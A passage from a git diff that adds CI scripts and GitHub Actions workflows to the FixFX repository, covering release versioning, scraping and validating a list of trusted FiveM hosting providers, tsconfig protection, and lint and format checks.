console.log(`\nPending Changes:`); + console.log(` - Features: ${result.analysis.features.length}`); + console.log(` - Fixes: ${result.analysis.fixes.length}`); + console.log(` - Breaking: ${result.analysis.breaking.length}`); + console.log(` - Other: ${result.analysis.other.length}`); + } else { + console.log('No pending changes that require a release'); + } + } +} + +if (require.main === module) { + main().catch((error) => { + console.error('Fatal error:', error.message); + process.exit(1); + }); +} + +module.exports = { analyzeCommits, parseCommits, calculateNextVersion, generateChangelogEntry }; diff --git a/.github/scripts/get-version.js b/.github/scripts/get-version.js new file mode 100644 index 0000000..7866b5c --- /dev/null +++ b/.github/scripts/get-version.js @@ -0,0 +1,155 @@ +#!/usr/bin/env node + +/** + * Get the current version from GitHub releases + * + * This script fetches the latest release from the FixFX repository + * and extracts the version from the tag name. + * + * Usage: + * node get-version.js # outputs to stdout + * node get-version.js --file # writes to file + * node get-version.js --json # outputs as JSON object + */ + +const https = require('https'); +const fs = require('fs'); +const path = require('path'); + +const REPO_OWNER = 'CodeMeAPixel'; +const REPO_NAME = 'FixFX'; +const DEFAULT_VERSION = '0.0.0-unknown'; + +async function fetchLatestRelease() { + return new Promise((resolve, reject) => { + const url = `https://api.github.com/repos/${REPO_OWNER}/${REPO_NAME}/releases/latest`; + + const options = { + hostname: 'api.github.com', + path: `/repos/${REPO_OWNER}/${REPO_NAME}/releases/latest`, + method: 'GET', + headers: { + 'User-Agent': 'FixFX-Version-Script', + 'Accept': 'application/vnd.github.v3+json', + }, + timeout: 5000, + }; + + // Use GitHub token if available for higher rate limits + if (process.env.GITHUB_TOKEN) { + options.headers['Authorization'] = `token ${process.env.GITHUB_TOKEN}`; + } + + const req = https.request(options, (res) => { + let data = ''; + + res.on('data', (chunk) => { + data += chunk; + }); + + res.on('end', () => { + try { + if (res.statusCode === 404) { + // No releases found + resolve(null); + return; + } + + if (res.statusCode !== 200) { + reject(new Error(`GitHub API returned ${res.statusCode}: ${data}`)); + return; + } + + const release = JSON.parse(data); + resolve(release); + } catch (error) { + reject(new Error(`Failed to parse GitHub API response: ${error.message}`)); + } + }); + }); + + req.on('timeout', () => { + req.destroy(); + reject(new Error('GitHub API request timed out')); + }); + + req.on('error', reject); + req.end(); + }); +} + +function extractVersion(tagName) { + // Remove leading 'v' if present (e.g., 'v1.0.0' → '1.0.0') + let version = tagName.replace(/^v/, ''); + + // Validate semver format (basic check) + if (!/^\d+\.\d+\.\d+/.test(version)) { + throw new Error(`Invalid version format: ${tagName}`); + } + + return version; +} + +async function getVersion(options = {}) { + try { + const release = await fetchLatestRelease(); + + if (!release) { + console.warn(`No releases found for ${REPO_OWNER}/${REPO_NAME}, using default version`); + return DEFAULT_VERSION; + } + + const version = extractVersion(release.tag_name); + return version; + } catch (error) { + if (options.strict) { + console.error(`Error fetching version: ${error.message}`); + process.exit(1); + } else { + console.warn(`Error fetching version: ${error.message}, using default version`); + return DEFAULT_VERSION; + } + } +} + +async function main() { + const args = process.argv.slice(2); + const options = {}; + + // Parse arguments + for (let i = 0; i < args.length; i++) { + if (args[i] === '--file') { + options.file = args[i + 1]; + i++; + } else if (args[i] === '--json') { + options.json = true; + } else if (args[i] === '--strict') { + options.strict = true; + } + } + + const version = await getVersion(options); + + if (options.json) { + console.log(JSON.stringify({ version, repo: `${REPO_OWNER}/${REPO_NAME}` }, null, 2)); + } else if (options.file) { + try { + fs.writeFileSync(options.file, version, 'utf-8'); + console.log(`Version written to ${options.file}: ${version}`); + } catch (error) { + console.error(`Failed to write version to file: ${error.message}`); + process.exit(1); + } + } else { + console.log(version); + } +} + +if (require.main === module) { + main().catch((error) => { + console.error('Fatal error:', error.message); + process.exit(1); + }); +} + +module.exports = { fetchLatestRelease, extractVersion, getVersion }; diff --git a/.github/scripts/update-trusted-hosts.js b/.github/scripts/update-trusted-hosts.js new file mode 100644 index 0000000..1cc9c9c --- /dev/null +++ b/.github/scripts/update-trusted-hosts.js @@ -0,0 +1,198 @@ +#!/usr/bin/env node + +/** + * Scraper for FiveM trusted hosting providers + * Automatically fetches and validates hosting providers from FiveM's official registry + * Used by GitHub Actions to keep the trusted-hosts.json file up to date + */ + +const https = require('https'); +const fs = require('fs'); +const path = require('path'); + +const FIVEM_HOSTING_URL = 'https://fivem.net/server-hosting'; +const TRUSTED_HOSTS_FILE = path.join(__dirname, 'trusted-hosts.json'); +const SCHEMA_FILE = path.join(__dirname, 'trusted-hosts-schema.json'); + +/** + * Fetch the FiveM hosting page and extract provider information + */ +async function fetchFiveMListing() { + return new Promise((resolve, reject) => { + https.get(FIVEM_HOSTING_URL, { headers: { 'User-Agent': 'FixFX-TrustedHostsScraper/1.0' } }, (res) => { + let data = ''; + + res.on('data', chunk => { + data += chunk; + }); + + res.on('end', () => { + try { + resolve(data); + } catch (error) { + reject(error); + } + }); + }).on('error', reject); + }); +} + +/** + * Parse hosting provider information from HTML + * This extracts provider cards that follow a predictable structure + */ +function parseHostingProviders(html) { + const providers = []; + + // Look for hosting provider cards - they typically have specific patterns + // Pattern 1: Look for links with typical hosting provider domain patterns + const linkRegex = /]*href=["']([^"']*(?:zap-hosting|gtxgaming|nitrado|g-portal|firestorm|nitrado|gameservers|lgsm)[^"']*)["'][^>]*>([^<]+)<\/a>/gi; + let match; + + const seen = new Set(); + + while ((match = linkRegex.exec(html)) !== null) { + const url = match[1]; + const name = match[2].trim(); + + // Skip duplicates and invalid entries + if (!url || !name || seen.has(url.toLowerCase())) continue; + + seen.add(url.toLowerCase()); + + // Normalize URL + const normalizedUrl = new URL(url.includes('://') ? url : `https://${url}`).href; + + providers.push({ + id: name.toLowerCase().replace(/\s+/g, '-').replace(/[^a-z0-9-]/g, ''), + name: name, + url: normalizedUrl, + description: `Trusted FiveM/RedM hosting provider`, + verified: true, + lastVerified: new Date().toISOString() + }); + } + + // Known hosting providers fallback (if scraping doesn't find them) + const knownProviders = [ + { id: 'zap-hosting', name: 'ZAP-Hosting', url: 'https://zap-hosting.com' }, + { id: 'gtxgaming', name: 'GTXGaming', url: 'https://gtxgaming.co.uk' }, + { id: 'nitrado', name: 'Nitrado', url: 'https://nitrado.net' }, + { id: 'g-portal', name: 'G-Portal', url: 'https://www.g-portal.com' }, + { id: 'firestorm-servers', name: 'Firestorm Servers', url: 'https://firestormservers.com' }, + { id: 'gameservers', name: 'GameServers', url: 'https://www.gameservers.com' } + ]; + + // Add known providers if not already found + for (const known of knownProviders) { + if (!providers.find(p => p.id === known.id)) { + providers.push({ + ...known, + description: `Trusted FiveM/RedM hosting provider`, + verified: false, + lastVerified: new Date().toISOString() + }); + } + } + + return providers; +} + +/** + * Validate provider against schema + */ +function validateAgainstSchema(provider, schema) { + const errors = []; + + // Check required fields + if (!provider.id) errors.push('Missing required field: id'); + if (!provider.name) errors.push('Missing required field: name'); + if (!provider.url) errors.push('Missing required field: url'); + + // Validate ID format + if (provider.id && !/^[a-z0-9-]+$/.test(provider.id)) { + errors.push(`Invalid id format: ${provider.id}`); + } + + // Validate URL format + if (provider.url) { + try { + new URL(provider.url); + } catch { + errors.push(`Invalid URL format: ${provider.url}`); + } + } + + // Validate string lengths + if (provider.name && provider.name.length > 255) { + errors.push(`Name exceeds maximum length: ${provider.name.length} > 255`); + } + + if (provider.description && provider.description.length > 500) { + errors.push(`Description exceeds maximum length`); + } + + return errors; +} + +/** + * Main execution + */ +async function main() { + try { + console.log('🌐 Fetching FiveM trusted hosting providers...'); + const html = await fetchFiveMListing(); + + console.log('📊 Parsing provider information...'); + const hosts = parseHostingProviders(html); + + if (hosts.length === 0) { + console.warn('⚠️ No providers found. Using defaults.'); + } else { + console.log(`✅ Found ${hosts.length} hosting providers`); + } + + // Load schema for validation + const schema = JSON.parse(fs.readFileSync(SCHEMA_FILE, 'utf8')); + + // Validate each provider + const validationErrors = []; + for (const host of hosts) { + const errors = validateAgainstSchema(host, schema); + if (errors.length > 0) { + console.warn(`⚠️ Validation issues for ${host.name}:`, errors); + validationErrors.push({ provider: host.name, errors }); + } + } + + // Create output object + const output = { + lastUpdated: new Date().toISOString(), + source: 'https://fivem.net/server-hosting', + hosts: hosts.sort((a, b) => a.name.localeCompare(b.name)) + }; + + // Write to file + fs.writeFileSync(TRUSTED_HOSTS_FILE, JSON.stringify(output, null, 2)); + console.log(`📝 Updated ${TRUSTED_HOSTS_FILE}`); + + // Print summary + console.log('\n📋 Summary:'); + console.log(` Total providers: ${hosts.length}`); + console.log(` Verified: ${hosts.filter(h => h.verified).length}`); + console.log(` Unverified: ${hosts.filter(h => !h.verified).length}`); + + if (validationErrors.length > 0) { + console.warn(`\n⚠️ Found ${validationErrors.length} validation warnings`); + process.exit(0); // Don't fail on warnings + } + + console.log('\n✅ Successfully updated trusted hosts list'); + process.exit(0); + } catch (error) { + console.error('❌ Error:', error.message); + process.exit(1); + } +} + +main(); diff --git a/.github/scripts/validate-trusted-hosts.js b/.github/scripts/validate-trusted-hosts.js new file mode 100644 index 0000000..7ccedab --- /dev/null +++ b/.github/scripts/validate-trusted-hosts.js @@ -0,0 +1,86 @@ +#!/usr/bin/env node + +/** + * Validator for trusted-hosts.json + * Ensures the file conforms to the schema and contains valid data + */ + +const fs = require('fs'); +const path = require('path'); +const Ajv = require('ajv'); + +const TRUSTED_HOSTS_FILE = path.join(__dirname, '..', '..', 'packages', 'providers', 'trusted-hosts.json'); +const SCHEMA_FILE = path.join(__dirname, '..', '..', 'packages', 'providers', 'trusted-hosts-schema.json'); + +try { + // Load files + const trustedHosts = JSON.parse(fs.readFileSync(TRUSTED_HOSTS_FILE, 'utf8')); + const schema = JSON.parse(fs.readFileSync(SCHEMA_FILE, 'utf8')); + + // Initialize AJV validator + const ajv = new Ajv(); + const validate = ajv.compile(schema); + + // Validate against schema + const isValid = validate(trustedHosts); + + if (!isValid) { + console.error('❌ Schema validation failed:\n'); + validate.errors.forEach(error => { + console.error(` ${error.instancePath || 'root'}: ${error.message}`); + }); + process.exit(1); + } + + // Additional validations + const errors = []; + const warnings = []; + + // Check for duplicate IDs + const ids = new Set(); + for (const host of trustedHosts.hosts) { + if (ids.has(host.id)) { + errors.push(`Duplicate provider ID: ${host.id}`); + } + ids.add(host.id); + } + + // Check for duplicate URLs + const urls = new Set(); + for (const host of trustedHosts.hosts) { + const normalizedUrl = new URL(host.url).href; + if (urls.has(normalizedUrl)) { + warnings.push(`Duplicate URL detected: ${host.url}`); + } + urls.add(normalizedUrl); + } + + // Check lastUpdated is recent (within 30 days) + const lastUpdated = new Date(trustedHosts.lastUpdated); + const thirtyDaysAgo = new Date(Date.now() - 30 * 24 * 60 * 60 * 1000); + if (lastUpdated < thirtyDaysAgo) { + warnings.push('List was last updated more than 30 days ago. Consider running the scraper.'); + } + + // Report results + if (errors.length > 0) { + console.error('❌ Validation errors:\n'); + errors.forEach(error => console.error(` • ${error}`)); + process.exit(1); + } + + if (warnings.length > 0) { + console.warn('⚠️ Validation warnings:\n'); + warnings.forEach(warning => console.warn(` • ${warning}`)); + } + + console.log('✅ trusted-hosts.json validation passed'); + console.log(` Total providers: ${trustedHosts.hosts.length}`); + console.log(` Last updated: ${new Date(trustedHosts.lastUpdated).toLocaleString()}`); + console.log(` Source: ${trustedHosts.source}`); + + process.exit(0); +} catch (error) { + console.error('❌ Error:', error.message); + process.exit(1); +} diff --git a/.github/scripts/validate-tsconfig.js b/.github/scripts/validate-tsconfig.js new file mode 100644 index 0000000..ef113f3 --- /dev/null +++ b/.github/scripts/validate-tsconfig.js @@ -0,0 +1,102 @@ +#!/usr/bin/env node + +const fs = require('fs'); +const path = require('path'); + +// Load both versions +const currentPath = 'tsconfig.json'; +const basePath = 'base-branch/tsconfig.json'; + +let currentConfig, baseConfig; + +try { + currentConfig = JSON.parse(fs.readFileSync(currentPath, 'utf8')); + baseConfig = JSON.parse(fs.readFileSync(basePath, 'utf8')); +} catch (error) { + console.error('Error parsing JSON files:', error.message); + process.exit(1); +} + +let hasErrors = false; +const errors = []; + +// Check for removed keys in compilerOptions +if (currentConfig.compilerOptions && baseConfig.compilerOptions) { + for (const key in baseConfig.compilerOptions) { + if (!(key in currentConfig.compilerOptions)) { + errors.push(`❌ Removed compiler option: "${key}"`); + hasErrors = true; + } + } +} + +// Check for modified values in compilerOptions +if (currentConfig.compilerOptions && baseConfig.compilerOptions) { + for (const key in baseConfig.compilerOptions) { + const baseValue = JSON.stringify(baseConfig.compilerOptions[key]); + const currentValue = JSON.stringify(currentConfig.compilerOptions[key]); + + if (baseValue !== currentValue && key in currentConfig.compilerOptions) { + errors.push(`❌ Modified compiler option "${key}": "${baseValue}" → "${currentValue}"`); + hasErrors = true; + } + } +} + +// Check for removed keys in paths +if (currentConfig.compilerOptions?.paths && baseConfig.compilerOptions?.paths) { + for (const key in baseConfig.compilerOptions.paths) { + if (!(key in currentConfig.compilerOptions.paths)) { + errors.push(`❌ Removed path alias: "${key}"`); + hasErrors = true; + } + } +} + +// Check for modified paths values +if (currentConfig.compilerOptions?.paths && baseConfig.compilerOptions?.paths) { + for (const key in baseConfig.compilerOptions.paths) { + const baseValue = JSON.stringify(baseConfig.compilerOptions.paths[key]); + const currentValue = JSON.stringify(currentConfig.compilerOptions.paths[key]); + + if (baseValue !== currentValue && key in currentConfig.compilerOptions.paths) { + errors.push(`❌ Modified path alias "${key}": ${baseValue} → ${currentValue}`); + hasErrors = true; + } + } +} + +// Check for removed keys in include +if (currentConfig.include && baseConfig.include) { + const baseIncludes = new Set(baseConfig.include); + for (const item of baseIncludes) { + if (!currentConfig.include.includes(item)) { + errors.push(`❌ Removed include pattern: "${item}"`); + hasErrors = true; + } + } +} + +// Check for removed keys in exclude +if (currentConfig.exclude && baseConfig.exclude) { + const baseExcludes = new Set(baseConfig.exclude); + for (const item of baseExcludes) { + if (!currentConfig.exclude.includes(item)) { + errors.push(`❌ Removed exclude pattern: "${item}"`); + hasErrors = true; + } + } +} + +if (hasErrors) { + console.log('\n❌ tsconfig.json validation FAILED\n'); + console.log('Critical Configuration Protection:\n'); + errors.forEach(error => console.log(error)); + console.log('\n⚠️ Only ADDITIONS to tsconfig.json are allowed.'); + console.log('Removing or modifying existing configurations will break the site.\n'); + process.exit(1); +} else { + console.log('✅ tsconfig.json validation PASSED'); + console.log('Only additions detected (or no changes to existing configuration).\n'); + process.exit(0); +} diff --git a/.github/workflows/auto-release.yml b/.github/workflows/auto-release.yml new file mode 100644 index 0000000..bded2e4 --- /dev/null +++ b/.github/workflows/auto-release.yml @@ -0,0 +1,182 @@ +name: Auto Release & Changelog + +on: + push: + branches: + - develop + - master + paths: + - 'frontend/**' + - '.github/workflows/auto-release.yml' + # Explicitly exclude pull requests + # This workflow only runs on direct pushes/merges to branches + +jobs: + analyze: + name: Analyze Commits & Check for Release + runs-on: ubuntu-latest + outputs: + has-changes: ${{ steps.analyze.outputs.has-changes }} + next-version: ${{ steps.analyze.outputs.next-version }} + tag: ${{ steps.analyze.outputs.tag }} + changelog: ${{ steps.analyze.outputs.changelog }} + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Fetch all history to analyze commits + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Analyze commits since last release + id: analyze + working-directory: frontend + run: | + # Run the analysis script and capture JSON output + ANALYSIS=$(node .github/scripts/analyze-commits.js --json) + + echo "Analysis Result:" + echo "$ANALYSIS" | jq '.' + + # Extract values + HAS_CHANGES=$(echo "$ANALYSIS" | jq -r '.hasPendingChanges') + NEXT_VERSION=$(echo "$ANALYSIS" | jq -r '.nextVersion // empty') + TAG=$(echo "$ANALYSIS" | jq -r '.tag // empty') + + # Read changelog (save to temp file for multiline output) + CHANGELOG=$(echo "$ANALYSIS" | jq -r '.changelog // empty') + + echo "has-changes=$HAS_CHANGES" >> $GITHUB_OUTPUT + echo "next-version=$NEXT_VERSION" >> $GITHUB_OUTPUT + echo "tag=$TAG" >> $GITHUB_OUTPUT + + # Store changelog in a file for the next step + if [ -n "$CHANGELOG" ]; then + echo "$CHANGELOG" > /tmp/changelog-entry.md + echo "changelog-file=/tmp/changelog-entry.md" >> $GITHUB_OUTPUT + fi + + update-changelog: + name: Update CHANGELOG.md + needs: analyze + runs-on: ubuntu-latest + if: needs.analyze.outputs.has-changes == 'true' + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Get changelog entry + id: get-changelog + working-directory: frontend + run: | + ANALYSIS=$(node .github/scripts/analyze-commits.js --json) + CHANGELOG=$(echo "$ANALYSIS" | jq -r '.changelog') + + # Use a delimiter for multiline output + echo "entry<> $GITHUB_OUTPUT + echo "$CHANGELOG" >> $GITHUB_OUTPUT + echo "CHANGELOG_DELIMITER" >> $GITHUB_OUTPUT + + - name: Update CHANGELOG.md + working-directory: frontend + run: | + # Read the current CHANGELOG + CURRENT=$(cat CHANGELOG.md) + + # Get the changelog entry + ENTRY="${{ steps.get-changelog.outputs.entry }}" + + # Find the line with "## [1.1.0] - Unreleased" and replace with new version + # This handles the unreleased section by replacing it with the new version + + # Create new changelog with the entry inserted after the header + { + head -n 8 CHANGELOG.md # Keep header and intro + echo "" + echo "$ENTRY" + tail -n +9 CHANGELOG.md | sed 's/## \[1\.1\.0\] - Unreleased/## [Unreleased] - TBD/' || tail -n +9 CHANGELOG.md + } > CHANGELOG.md.tmp + + mv CHANGELOG.md.tmp CHANGELOG.md + + - name: Commit and push changelog + run: | + cd frontend + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + + git add CHANGELOG.md + git commit -m "chore: update changelog for version ${{ needs.analyze.outputs.next-version }}" + git push + + create-release: + name: Create GitHub Release + needs: [analyze, update-changelog] + runs-on: ubuntu-latest + if: needs.analyze.outputs.has-changes == 'true' + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Get release notes from changelog + id: release-notes + working-directory: frontend + run: | + ANALYSIS=$(node .github/scripts/analyze-commits.js --json) + CHANGELOG=$(echo "$ANALYSIS" | jq -r '.changelog') + + echo "notes<> $GITHUB_OUTPUT + echo "$CHANGELOG" >> $GITHUB_OUTPUT + echo "RELEASE_NOTES_DELIMITER" >> $GITHUB_OUTPUT + + - name: Create Release + uses: actions/create-release@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + tag_name: ${{ needs.analyze.outputs.tag }} + release_name: Release ${{ needs.analyze.outputs.next-version }} + body: ${{ steps.release-notes.outputs.notes }} + draft: false + prerelease: false + + - name: Log Release Created + run: | + echo "✅ Release created!" + echo "Tag: ${{ needs.analyze.outputs.tag }}" + echo "Version: ${{ needs.analyze.outputs.next-version }}" + + notify-no-changes: + name: Notify if No Changes + needs: analyze + runs-on: ubuntu-latest + if: needs.analyze.outputs.has-changes == 'false' + + steps: + - name: Log status + run: | + echo "ℹ️ No changes requiring a release detected" + echo "Please commit changes with conventional commit format:" + echo " feat: Add new feature" + echo " fix: Fix a bug" + echo " breaking: Breaking change" diff --git a/.github/workflows/format-ci.yml b/.github/workflows/format-ci.yml new file mode 100644 index 0000000..3b36ac6 --- /dev/null +++ b/.github/workflows/format-ci.yml @@ -0,0 +1,24 @@ +name: Format +on: + push: + branches: [master, develop] + pull_request: + branches: [master, develop] + +jobs: + prettier: + name: Prettier + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install Bun + uses: oven-sh/setup-bun@v1 + with: + bun-version: latest + + - name: Install dependencies + run: bun install + + - name: Check formatting + run: bun run format:check diff --git a/.github/workflows/knip-ci.yml b/.github/workflows/knip-ci.yml new file mode 100644 index 0000000..fe9eefa --- /dev/null +++ b/.github/workflows/knip-ci.yml @@ -0,0 +1,38 @@ +name: Knip Validation +on: + push: + branches: [master, develop] + +jobs: + build_test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + ref: ${{ github.head_ref }} + + - name: Install Bun + uses: oven-sh/setup-bun@v1 + with: + bun-version: latest + + - name: Install dependencies + run: bun install + + - name: Build application + run: bun run build + + - name: Validate Export Usage + run: bun run knip:exports + + - name: Validate Dependency Usage + run: bun run knip:deps + + - name: Validate File Usage + run: bun run knip:files + + - name: Validate Production Usage + run: bun run knip:prod + + - name: Notify success + run: echo "Build completed successfully!" \ No newline at end of file diff --git a/.github/workflows/lint-ci.yml b/.github/workflows/lint-ci.yml new file mode 100644 index 0000000..80abdbc --- /dev/null +++ b/.github/workflows/lint-ci.yml @@ -0,0 +1,24 @@ +name: Lint +on: + push: + branches: [master, develop] + pull_request: + branches: [master, develop] + +jobs: + eslint: + name: ESLint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Install Bun + uses: oven-sh/setup-bun@v1 + with: + bun-version: latest + + - name: Install dependencies + run: bun install + + - name: Run ESLint + run: bun run lint diff --git a/.github/workflows/semver-ci.yml b/.github/workflows/semver-ci.yml deleted file mode 100644 index 52898c1..0000000 --- a/.github/workflows/semver-ci.yml +++ /dev/null @@ -1,115 +0,0 @@ -name: Release CI - -on: - workflow_dispatch: - inputs: - semver: - description: 'Select version bump type: major, minor, patch' - required: false - default: 'patch' - type: choice - options: - - major - - minor - - patch - prerelease: - description: 'Pre-release identifier (e.g., alpha, beta, rc.1). Leave empty for stable releases.' - required: false - default: '' - custom_version: - description: 'Specify a custom version. This will override the semver and prerelease inputs.' - required: false - default: '' - release_notes: - description: 'Release notes for this version' - required: false - default: '' - create_release: - description: 'Create a GitHub release' - type: boolean - required: false - default: true - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - name: Checkout code - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - name: Setup Node.js - uses: actions/setup-node@v3 - with: - node-version: 18 - cache: 'npm' - - - name: Install dependencies - run: npm ci - - - name: Build application - run: npm run build - - - name: Set Git identity - run: | - git config --local user.email "toxic.dev09@gmail.com" - git config --local user.name "Toxic Dev" - - - name: Get current version - id: current_version - run: echo "version=$(node -p "require('./package.json').version")" >> $GITHUB_OUTPUT - - - name: Version bump - id: version_bump - run: | - if [ -n "${{ github.event.inputs.custom_version }}" ]; then - NEW_VERSION="${{ github.event.inputs.custom_version }}" - npm version $NEW_VERSION -m "Bump version to %s [skip ci]" - echo "new_version=$NEW_VERSION" >> $GITHUB_OUTPUT - elif [ -n "${{ github.event.inputs.semver }}" ]; then - if [ -z "${{ github.event.inputs.prerelease }}" ]; then - NEW_VERSION=$(npm version ${{ github.event.inputs.semver }} -m "Bump version to %s [skip ci]") - echo "new_version=${NEW_VERSION:1}" >> $GITHUB_OUTPUT - else - NEW_VERSION=$(npm version ${{ github.event.inputs.semver }} --preid=${{ github.event.inputs.prerelease }} -m "Bump version to %s [skip ci]") - echo "new_version=${NEW_VERSION:1}" >> $GITHUB_OUTPUT - fi - else - NEW_VERSION=$(npm version patch -m "Bump version to %s [skip ci]") - echo "new_version=${NEW_VERSION:1}" >> $GITHUB_OUTPUT - fi - - - name: Generate changelog - id: changelog - if: github.event.inputs.create_release == 'true' - run: | - if [ -n "${{ github.event.inputs.release_notes }}" ]; then - echo "${{ github.event.inputs.release_notes }}" > CHANGELOG.md - else - echo "## What's Changed" > CHANGELOG.md - git log --pretty=format:"* %s" ${{ steps.current_version.outputs.version }}..HEAD >> CHANGELOG.md - fi - echo "changelog<> $GITHUB_OUTPUT - cat CHANGELOG.md >> $GITHUB_OUTPUT - echo "EOF" >> $GITHUB_OUTPUT - - - name: Push changes - uses: ad-m/github-push-action@master - with: - github_token: ${{ secrets.GIT_TOKEN }} - branch: ${{ github.ref }} - tags: true - - - name: Create GitHub Release - if: github.event.inputs.create_release == 'true' - uses: softprops/action-gh-release@v1 - with: - tag_name: v${{ steps.version_bump.outputs.new_version }} - name: Release v${{ steps.version_bump.outputs.new_version }} - body: ${{ steps.changelog.outputs.changelog }} - draft: false - prerelease: ${{ github.event.inputs.prerelease != '' }} - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/tsconfig-validation.yml b/.github/workflows/tsconfig-validation.yml new file mode 100644 index 0000000..62b0807 --- /dev/null +++ b/.github/workflows/tsconfig-validation.yml @@ -0,0 +1,60 @@ +name: Validate tsconfig.json Changes + +on: + pull_request: + paths: + - 'tsconfig.json' + +jobs: + validate-tsconfig: + runs-on: ubuntu-latest + permissions: + pull-requests: write + + steps: + - name: Checkout PR branch + uses: actions/checkout@v4 + with: + ref: ${{ github.head_ref }} + + - name: Checkout base branch + uses: actions/checkout@v4 + with: + ref: ${{ github.base_ref }} + path: base-branch + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Validate tsconfig.json changes + run: node .github/scripts/validate-tsconfig.js + + - name: Comment on PR if validation fails + if: failure() + uses: actions/github-script@v7 + with: + script: | + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: `## ⚠️ tsconfig.json Validation Failed + +This pull request attempts to **remove or modify** critical tsconfig.json configurations. This is not allowed as it will break the site. + +### ✅ What's Allowed: +- **Adding** new compiler options +- **Adding** new path aliases +- **Adding** new include/exclude patterns + +### ❌ What's Not Allowed: +- Removing existing compiler options +- Modifying existing compiler option values +- Removing path aliases +- Modifying path alias mappings +- Removing include/exclude patterns + +Please revert your changes to the existing configuration and only add new options if needed.` + }) diff --git a/.github/workflows/update-trusted-hosts.yml b/.github/workflows/update-trusted-hosts.yml new file mode 100644 index 0000000..de8baa4 --- /dev/null +++ b/.github/workflows/update-trusted-hosts.yml @@ -0,0 +1,94 @@ +name: Update Trusted Hosting Providers + +on: + schedule: + # Run every Monday at 00:00 UTC to check for updates + - cron: '0 0 * * 1' + + # Allow manual triggering + workflow_dispatch: + +jobs: + update-trusted-hosts: + runs-on: ubuntu-latest + permissions: + contents: write + pull-requests: write + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + ref: develop + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Install dependencies + run: npm install ajv + + - name: Update trusted hosts list + run: node .github/scripts/update-trusted-hosts.js + + - name: Validate trusted hosts list + run: node .github/scripts/validate-trusted-hosts.js + + - name: Check for changes + id: changes + run: | + if git diff --quiet packages/providers/trusted-hosts.json; then + echo "changed=false" >> $GITHUB_OUTPUT + else + echo "changed=true" >> $GITHUB_OUTPUT + fi + + - name: Create Pull Request + if: steps.changes.outputs.changed == 'true' + uses: peter-evans/create-pull-request@v5 + with: + token: ${{ secrets.GITHUB_TOKEN }} + commit-message: | + chore: update trusted hosting providers list + + Automatically updated from https://fivem.net/server-hosting + branch: chore/update-trusted-hosts + delete-branch: true + title: 'chore: update trusted hosting providers list' + body: | + ## 🤖 Automated Update + + This PR automatically updates the trusted hosting providers list from the official FiveM registry. + + **Changes:** + - Updated `packages/providers/trusted-hosts.json` + - Validated against schema + - Last updated: ${{ github.event.head_commit.timestamp || 'Manual trigger' }} + + The list is scraped from: https://fivem.net/server-hosting + + ### Verification Checklist + - [x] Schema validation passed + - [x] No duplicate provider IDs + - [x] All provider URLs are valid + + ✅ Ready to merge + labels: | + automated + dependencies + reviewers: | + ${{ github.repository_owner }} + + - name: Log summary + if: always() + run: | + echo "## Trusted Hosts Update Summary" >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + if [ "${{ steps.changes.outputs.changed }}" == "true" ]; then + echo "✅ Updates found and PR created" >> $GITHUB_STEP_SUMMARY + else + echo "✅ List is up to date" >> $GITHUB_STEP_SUMMARY + fi + echo "" >> $GITHUB_STEP_SUMMARY + echo "**Source:** https://fivem.net/server-hosting" >> $GITHUB_STEP_SUMMARY diff --git a/.github/workflows/validate-providers.yml b/.github/workflows/validate-providers.yml new file mode 100644 index 0000000..e8c167d --- /dev/null +++ b/.github/workflows/validate-providers.yml @@ -0,0 +1,166 @@ +name: Validate Provider Files + +on: + pull_request: + paths: + - 'frontend/packages/providers/**/*.json' + +jobs: + validate: + name: Validate Provider JSON + runs-on: ubuntu-latest + defaults: + run: + working-directory: frontend + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + + - name: Install ajv-cli + run: npm install -g ajv-cli ajv-formats + + - name: Validate provider files + run: | + SCHEMA_FILE="packages/providers/schema.json" + ERRORS=0 + + # Find all provider.json files in subdirectories + for file in packages/providers/*/provider.json; do + # Skip if file doesn't exist (no providers) + if [ ! -f "$file" ]; then + continue + fi + + echo "Validating: $file" + + # Validate against schema + if ! ajv validate -s "$SCHEMA_FILE" -d "$file" --spec=draft7 -c ajv-formats; then + echo "❌ Validation failed for $file" + ERRORS=$((ERRORS + 1)) + else + echo "✅ Valid: $file" + fi + + # Additional checks + ID=$(jq -r '.id' "$file") + FILENAME=$(basename "$file" .json) + + if [ "$ID" != "$FILENAME" ]; then + echo "❌ Error: id '$ID' does not match filename '$FILENAME'" + ERRORS=$((ERRORS + 1)) + fi + done + + if [ $ERRORS -gt 0 ]; then + echo "" + echo "❌ $ERRORS error(s) found in provider files" + exit 1 + fi + + echo "" + echo "✅ All provider files are valid!" + + - name: Check for duplicate IDs + run: | + ERRORS=0 + IDS_FILE=$(mktemp) + + # Extract all IDs from provider.json files + for file in packages/providers/*/provider.json; do + if [ -f "$file" ]; then + ID=$(jq -r '.id' "$file" 2>/dev/null) + if [ -n "$ID" ] && [ "$ID" != "null" ]; then + echo "$ID" >> "$IDS_FILE" + fi + fi + done + + # Check for duplicates + if [ -f "$IDS_FILE" ]; then + DUPLICATES=$(sort "$IDS_FILE" | uniq -d) + + if [ -n "$DUPLICATES" 